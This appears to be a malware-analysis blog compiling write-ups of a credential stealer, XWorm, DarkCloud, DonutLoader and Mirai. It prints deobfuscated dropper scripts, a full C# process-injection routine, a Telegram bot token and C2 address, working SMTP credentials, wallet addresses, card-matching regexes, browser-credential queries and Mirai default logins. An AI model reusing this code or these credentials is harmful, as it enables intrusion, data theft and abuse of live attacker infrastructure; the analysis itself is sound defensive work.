Superbird_Speed
Opera_Speed
Comodo_Speed
Cent_Speed
Chedot_Speed
Ghost_Speed
Iron_Speed
UC_Speed
BlackHawk_Speed
Citrio_Speed
Uran_Speed
Falkon_Speed
Sputnik_Speed
CoolNovo_Speed
Chrome_Canary_Speed
Sleipnir_Speed
Kinzaa_Speed
Amigo_Speed
Epic_Speed
e360_English_Speed
e360_China_Speed
Vivaldi_Speed
Xpom_Speed
orbitum_Speed
Iridium_Speed
SevinStar_Speed
Outlook_Speed
Foxmail_Speed
FireFox
SeaMonkey
IceDragon
Thunderbird
FileZilla_Speed
WindowsKey_Speed
  1. sends these data using these:
private static string TheInfo = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(UltraSpeed.StrSignature + " \r\n\r\n\r\n==========PC INFO==========\r\nClient Name:" + Environment.MachineName, Operators.AddObject("\r\nFullDate: ", UltraSpeed.INFO_Date_Time())), "\r\nIP: " + UltraSpeed.INFO_SystemIP()), Operators.AddObject(Operators.AddObject(Operators.AddObject("\r\nCountry: ", UltraSpeed.INFO_Country()), "\r\n"), "==========PC INFO==========")));
private static string Host_Sender = "voiper@tamre.it";
private static string Host_Password = "KFRKgMrNoiIF";
private static string Host_Server = "mailserver12.vhosting-it.com";
private static string Host_Receiver = "remiset@remisat.com.uy";
private static string Host_Port = "465";

NOTE: the data I am talking about is usernames and passwords.

That is all for this analysis.

XWorm

RAT

What’s XWorm?

“Malware with wide range of capabilities ranging from RAT to ransomware.” -malpedia

Small Story

I will keep things simple as usual, I was checking out MalwareBazaar and a javascript file tagged as “XWorm” caught my eye, downloaded it to check out later (I had a competition so there was no time to check for a week), This is the MalwareBazaar link of the file. First seen in the wild at “2025-07-23 16:04:23 UTC”.

NOTE: All Files are provided at the end of this page.

Simple Flow

1|700

None of these files were downloaded from external source. Most of them were extracted using Base64 decryption and AES decryption.

Analysis (Dropper, Evasion)

Extracting files were simple for me. It was like, instead of letting code execute things, I was writing the decoded bytes/scripts to the file and analyze them one-by-one.

Starting with the “javascript” file, it had only 1 purpose and it was extracting a “DallasBoulevard.bat” into “AppData/Local/Temp” and executing it.

This batch file had a few purposes, it was also obfuscated but I extracted the first thing it does, executing a “PowerShell” command, which this “PowerShell” command itself will also use the bat file (In different directory but same bat file) to get first line starting with “:::”, Base64 decode it and execute it (Powershell command again).

This Powershell command is using advanced ways to avoid detection. Things it does: 1|900

Comments are added me as I was analysing script, strings were also encrypted so I had to decrypt them too.

After, powershell script is done executed, it looks for “::” line and seperates it to 2 different executable files. First executable .NET file is useless and does nothing, but the second one decrypts bytes and executes the “XWormClient.exe” (Which is the main malware file we were looking for).

This .NET executable is highly obfuscated, I used NetReactorSlayer to deobfuscate it, but honestly it couldn’t do much. I might have done something wrong but it is what it is, I could get the things I need at the end.

XWormClient

PART 1: Decrypt Strings: (ALL STRINGS) Glass0.

  • obf_str1 = 192.159.99.85
  • obf_str2 = 6000
  • obf_str3 = <666666>
  • obf_str4 = <Xwormmm>
  • obf_str5 = XWorm V6.0
  • obf_str6 = USB.exe
  • string2 = bc1qac0j3zkpqwudsezg63x37nmqv2tanpk2zys43c
  • obf_str7 = 0x9e335947293636ADfC39A13825Cd04244Fd0c1a9
  • obf_str8 = TWNsPN7sYpTSogGAnixsTDJnnPCViDQ45r
  • obf_str9 = 7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE
  • obf_str10 = 440743435

PART 2: Create new Mutex with name: “6NW0cPlN6C2gZ2Tp”

PART 3: Application run and set in infinite loop

PART 4: Setup Network Connection (DefaultConnectionLimit etc. changed)

PART 5: (After WebClient object created)

obj3: “☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0”

NOTE: This is my PC configuration (VM)

Then File is downloaded from: obj2 {string[0x00000006]} object {string[]} [0] “https://api.telegram.org/bot” [1] “7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE” [2] “/sendMessage?chat_id=” [3] “440743435” [4] “&text=” [5] “☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0”

returned: @“{”“ok”“:true,”“result”“:{”“message_id”“:1132,”“from”“:{”“id”“:7257315662,”“is_bot”“:true,”“first_name”“:”“VIRUS \ud83e\udda0 BOTS”“,”“username”“:”“Alvin0365bot”“},”“chat”“:{”“id”“:440743435,”“first_name”“:”“Alvinmullar”“,”“username”“:”“alvinmullar”“,”“type”“:”“private”“},”“date”“:1753785840,”“text”“:”“\u2620 [XWorm V6.0 @XCoderTools]\n\nNew CLient : \n41B3E62F549A81F56A43\n\nUserName : flare\nOSFullName : Microsoft Windows 10 Pro\nUSB : False\nCPU : 13th Gen Intel i7-13650HX\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \nRAM : 7.98 GB\nGroup : XWorm V6.0”“,”“entities”“:[{”“offset”“:14,”“length”“:12,”“type”“:”“mention”“}]}}”

after that ,webclient is disposed.

Result?

What we get is, this telegram bot is used as C2 and “192.159.99.85:6000” is (probably, not sure) used for remote connection. I didn’t go deeper but I uploaded all these files in to MalwareBazaar for anyone that needs to check it out. These all are new file and XWormClient version is “6.0” (latest).

IOC

DarkCloud

Stealer

Small Story

By early 2025, the cyber landscape had tilted. Digital defenses adapted quickly—but DarkCloud Stealer, a slick information‑stealer first seen in 2022, had quietly evolved. A new AutoIt‑decoded campaign emerged in January and February 2025, targeting high‑value institutions including Polish government networks and finance companies. These variants hid inside phishing emails and weaponized RAR archives hosted on file‑sharing platforms. When victims downloaded them, an AutoIt executable delivered XOR‑encrypted payloads and shellcode, eventually unlocking the DarkCloud payload in memory

Why did I analyze it?

I saw a DarkCloud sample listed in malware bazaar and just decided to look into it, so maybe I can find new malware sample.

1|700

General Malware Flow

It was honestly short compared to other malwares I have worked with.

1|700

The thing was, obfuscations were a little bit annoying but easy to deobfuscate. I would even say, these first 3 files had nearly same obfuscation technique used on them. Just a few changes.

First 3 files deobfuscated

Bukti_Transfer.vbs

tJJD = <base64 data>

private function qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq ( asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR )

  CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).DataType = bin.base64

  CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).Text = asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR

  qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq = CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).NodeTypedValue

end function

Sub UabNeUPVDYZliECkFVEBrWraz( KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl , jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT)

  CreateObject( AdoDb.stream ).Type = 1


  CreateObject( AdoDb.stream ).Open

  CreateObject( AdoDb.stream ).Write jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT


  CreateObject( AdoDb.stream ).SaveToFile KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl, 2

End Sub

UabNeUPVDYZliECkFVEBrWraz  CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js, qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq(tJJD)
CreateObject("WScript.Shell").Run CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js

DIFqiByo.js

XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI = "<base64_string>" ;

UHYgIKAlppsqDgDwqEAhaRmVfBdoFM =  new ActiveXObject( Scripting.FileSystemObject  ).GetSpecialFolder( 2 ) +  Fexcel.xls
function zcFEtAhLdQTEBlkhVCFKTZfScCEKhu (XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF)
{
    var kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK = new  ActiveXObject( Microsoft.XMLDOM );.createElement( "YkNWdVKSrzJKfxvQTcyPsOPeKXzGibcGkeEdxvyxSPLiwLuBzPckzYeJUiMGWEkP" );
    kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.dataType =  bin.base64
    kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.text = XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF ;
  return kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.nodeTypedValue ;
}
function bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA)
{
	var omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu = new ActiveXObject(  ADODB.Stream  );
	
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Open();
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Type = 1; 
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Write( XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA );
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Position = 0;
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.SaveToFile( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , 2);
    omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Close();
}
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI));
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(hwEGxbBGnBNdYyRQfv));
new ActiveXObject( WScript.Shell ).Run(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js) ;
new ActiveXObject( WScript.Shell ).Run(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM) ;

adobe.js


WjfOMggRpJFcoITKXbCPawOtniqPc = "<base64_string>";

FTRROHYpgXUatWipcLjFwD =  new ActiveXObject(  Scripting.FileSystemObject ).GetSpecialFolder( 2 ) \JReSz.exe
function OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX (TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV)
{
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.dataType =  bin.base64
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.text = TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV ;

return OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.nodeTypedValue ;

}

YnBjXqSbajJqZKnFLbqmzukQhfjfnCSHtrtEGgdmBrmzcGcMFNQSnfZdCkCsGnnYRCxiQiyfxEkIIkoaDWZalzUNRQCWdlfODOiaJtvWOlUivRURvcojONmRijQzgcCMYVEtCNRJbCLAflRAvkaBwvApcQsZdvqmjIKZMbPiKfILCmmwRQEwCAPcVORlVrffMYRXa = ADODB.Stream
 
function rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG( aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ , vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY)
{
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Open();

AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Type = 1; 

AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Write(vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY );

AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Position = 0;

AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.SaveToFile(aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ ,2 ); 

AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Close();

}

rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG(FTRROHYpgXUatWipcLjFwD, OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX(WjfOMggRpJFcoITKXbCPawOtniqPc))

bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp = new ActiveXObject(Wscript.Shell);

bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp.Run(FTRROHYpgXUatWipcLjFwD) ;


VB Exe

And Finally, adobe.js drops Visual Basic v5.0 compiled 32-bit binary, which serves as stealer, keylogger, logger.

Steals data like:

Browser Related Data
\Google\Chrome\User Data
\Opera Software\Opera Stable
\Yandex\YandexBrowser\User Data
\360Chrome\Chrome\User Data
\Comodo\Dragon\User Data
\MapleStudio\ChromePlus\User Data
\Chromium\User Data
\Torch\User Data
\Epic Privacy Browser\User Data
\BraveSoftware\Brave-Browser\User Data
\Iridium\User Data
\7Star\7Star\User Data
\Amigo\User Data
\CentBrowser\User Data
\Chedot\User Data
\CocCoc\Browser\User Data
\Elements Browser\User Data
\Kometa\User Data
\Orbitum\User Data
\Sputnik\Sputnik\User Data
\uCozMedia\Uran\User Data
\Vivaldi\User Data
\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
\CatalinaGroup\Citrio\User Data
\Coowon\Coowon\User Data
\liebao\User Data
\QIP Surf\User Data
\Microsoft\Edge\User Data
\Mozilla\Firefox\Profiles
\Waterfox\Profiles
\K-Meleon\Profiles
\Thunderbird\Profiles
\Comodo\IceDragon\Profiles
\8pecxstudios\Cyberfox\Profiles
\NETGATE Technologies\BlackHawK\Profiles
\Moonchild Pro2ductions\Pale Moon\Profiles
Card Related Data
username_value
name_on_card
expiration_month\expiration_year
card_number_encrypted
^389[0-9]{11}$
Amex Card
^(6541|6556)[0-9]{12}$
Carte Blanche Card
^3(?:0[0-5]|[68][0-9])[0-9]{11}$
Diners Club Card
6(?:011|5[0-9]{2})[0-9]{12}$
Discover Card
^63[7-9][0-9]{13}$
Insta Payment Card
^(?:2131|1800|35\d{3})\d{11}$
JCB Card
^9[0-9]{15}$
KoreanLocalCard
^(6304|6706|6709|6771)[0-9]{12,15}$
Laser Card
^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$
Maestro Card
5[1-5][0-9]{14}$
Mastercard
3[47][0-9]{13}$
Express Card
^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$
Solo Card
^(62[0-9]{14,17})$
Union Pay Card
4[0-9]{12}(?:[0-9]{3})?$
Visa Card
^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$
Visa Master Card
^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$

Other than that, it uses showip.net to get IP address of the victim.

Uses mysql queries, some of the queries:

SELECT origin_url, username_value, password_value, length(password_value) FROM logins

SELECT origin_url, username_value, password_value FROM logins

SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards

etc.

How data is sent

Uses smtp.gmail.com service to send data to “Williamsaustin2099@gmail.com”

That’s all for this malware.

Note: The VB binary was uploaded by JAMESWT_WT (2025-08-01) before me, most likely different case but same malware used for stealing, logging etc.

DonutLoader

Loader

Warning!

This analysis will be only about DonutLoader dropping files and injecting shellcode in a new process. Shellcode itself is poorly written and doesn’t even work. (Gives User Exception)

What is DonutLoader?

Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).
Github: https://github.com/TheWover/donut -Malpedia

Malware Flow

1|700

Start.ps1

It is non-obfuscated simple payload that use AES to decrypt bytes and uses fileless method to Invoke Entry Point of this .Net 32 Assembly:

    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl = [System.Security.Cryptography.AesManaged]::Create()
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Mode = [System.Security.Cryptography.CipherMode]::CFB
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Key = ...
    $pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.IV  = ...
    ...
    ...
    ...
    $mkGojQZagZNcgSCKvDLTRrKszMXjRXS = $CXXPHgQDJiHqCYomtbKDxMBPoWqhryB.ToArray()
    $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ = [System.Reflection.Assembly]::Load(...)
    $ijgkjszDBpbruCzVYHybVgjVDWVxyVr = $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ.EntryPoint
    $ijgkjszDBpbruCzVYHybVgjVDWVxyVr.Invoke($null, @())

Stub.exe

It has some simple obfuscations which can be passed manually and some common sense. Uses AES again for decryption of strings, which you can just put breakpoint at “return” to get values.

But the main purpose is, it has source code of C# file that will be used for process injection:

AzeroPum

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace AzeroPum
{
    public static class AzeroKick
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out IntPtr lpNumberOfBytesWritten
        );

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId
        );

        [DllImport("kernel32.dll")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);

        [DllImport("kernel32.dll")]
        static extern bool CloseHandle(IntPtr hObject);

        [StructLayout(LayoutKind.Sequential)]
        struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct STARTUPINFO
        {
            public uint cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public static void AzeroFloid(string path, byte[] bytes)
        {
            int controlVar = 7;
            Random rng = new Random();

            // Control flow obfuscation loop
            while (controlVar > 0)
            {
                switch (controlVar)
                {
                    case 7:
                        if ((DateTime.Now.Ticks % 2) == 0)
                        {
                            controlVar = 4;
                        }
                        else
                        {
                            controlVar = 5;
                        }
                        Thread.Sleep(rng.Next(20, 50));
                        break;

                    case 4:
                        // Note: rng.Next(0, 100) will never be > 150, so always goes to case 3
                        if (rng.Next(0, 100) > 150)
                        {
                            controlVar = 6;
                        }
                        else
                        {
                            controlVar = 3;
                        }
                        Thread.Sleep(rng.Next(10, 30));
                        break;

                    case 5:
                        DummyOperation();
                        controlVar = 3;
                        break;

                    case 3:
                        controlVar = 2;
                        break;

                    case 2:
                        controlVar = 1;
                        break;

                    case 1:
                        controlVar = 0;
                        break;

                    default:
                        controlVar--;
                        break;
                }
            }

            // Initialize process startup info
            STARTUPINFO si = new STARTUPINFO();
            si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
            PROCESS_INFORMATION pi;

            // Create suspended process (flag 0x4 = CREATE_SUSPENDED)
            bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi));
            if (!created || pi.hProcess == IntPtr.Zero)
            {
                for (int i = 0; i < 3; i++)
                {
                    Thread.Sleep(10);
                }
                return;
            }

            // Allocate memory in target process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
            IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40);
            if (addr == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Write payload bytes to allocated memory
            IntPtr written;
            if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Create remote thread to execute the payload
            IntPtr threadId;
            IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
            if (thread == IntPtr.Zero)
            {
                CloseHandles(pi);
                return;
            }

            // Wait for thread completion (0xFFFFFFFF = INFINITE)
            WaitForSingleObject(thread, 0xFFFFFFFF);

            // Terminate the process
            bool terminated = TerminateProcess(pi.hProcess, 0);
            if (!terminated)
            {
                Thread.Sleep(50);
                TerminateProcess(pi.hProcess, 0);
            }

            // Clean up handles
            CloseHandle(thread);
            CloseHandles(pi);
        }

        private static void CloseHandles(PROCESS_INFORMATION pi)
        {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
        }

        private static void DummyOperation()
        {
            int x = 0;
            for (int i = 0; i < 5; i++)
            {
                x ^= i;
                x += 2;
            }
            if (x % 2 == 0)
            {
                x /= 2;
            }
        }
    }
}


// strings decoded System.dll, System.Core.dll, .AzeroPum.AzeroKick, AzeroFloid

// Invoked using C:\Windows\SysWOW64\explorer.exe and a bunch of bytes I save these bytes to shellcode.bin

I added comments under but other comments were already existing in payload. To make it simple, it just creates explorer.exe process, allocates memory, writes bytes, creates thread starting from this address. I wanted to unpack shellcode dynamically but shellcode is poorly written and gives User Exception at a point. At the end I could only find 1 new sample related to DonutLoader (Stub.exe), which I will have link below for anyone that needs to see it.

IOC

Stub.exe

Mirai

Mirai Botnet Analysis: Deep Dive into System Calls

What is Mirai?

Mirai is a self-propagating botnet malware that primarily targets IoT devices running Linux. It gained notoriety for launching massive DDoS attacks and compromising millions of IoT devices worldwide by exploiting default credentials and vulnerabilities.


# Typical Mirai infection vector

telnet <target_ip>

# Login attempts with default credentials:

# admin:admin, root:xc3511, root:vizxv, etc.

The Story of Mirai

Originally discovered in 2016, Mirai became infamous for taking down major internet services including Twitter, Netflix, and Reddit through coordinated DDoS attacks. The malware spreads by scanning for vulnerable IoT devices, infects them, and adds them to a botnet controlled by command and control (C2) servers.


Timeline:

2016-08 → First Mirai attacks detected

2016-09 → Major DDoS against KrebsOnSecurity (620 Gbps)

2016-10 → Dyn DNS attack takes down Twitter, Netflix, Reddit

2016-10 → Mirai source code leaked on Hackforums

String Analysis Findings

During static analysis, several questionable strings were discovered embedded within the malware binary. These strings provide insight into the malware author’s mindset and potential targeting preferences:

1|700

These embedded strings suggest the malware may contain additional functionality or targeting logic beyond the standard Mirai capabilities observed in the dynamic analysis.

System Call Analysis: A Journey Through Mirai’s Execution

Process Initialization & Setup

Process Identification


getpid() -> returns current process ID

getppid() -> returns parent process ID (3887)

Resource Limits Configuration


ugetrlimit() -> queries stack size limits

setrlimit() -> reduces stack size from 8MB to 2MB

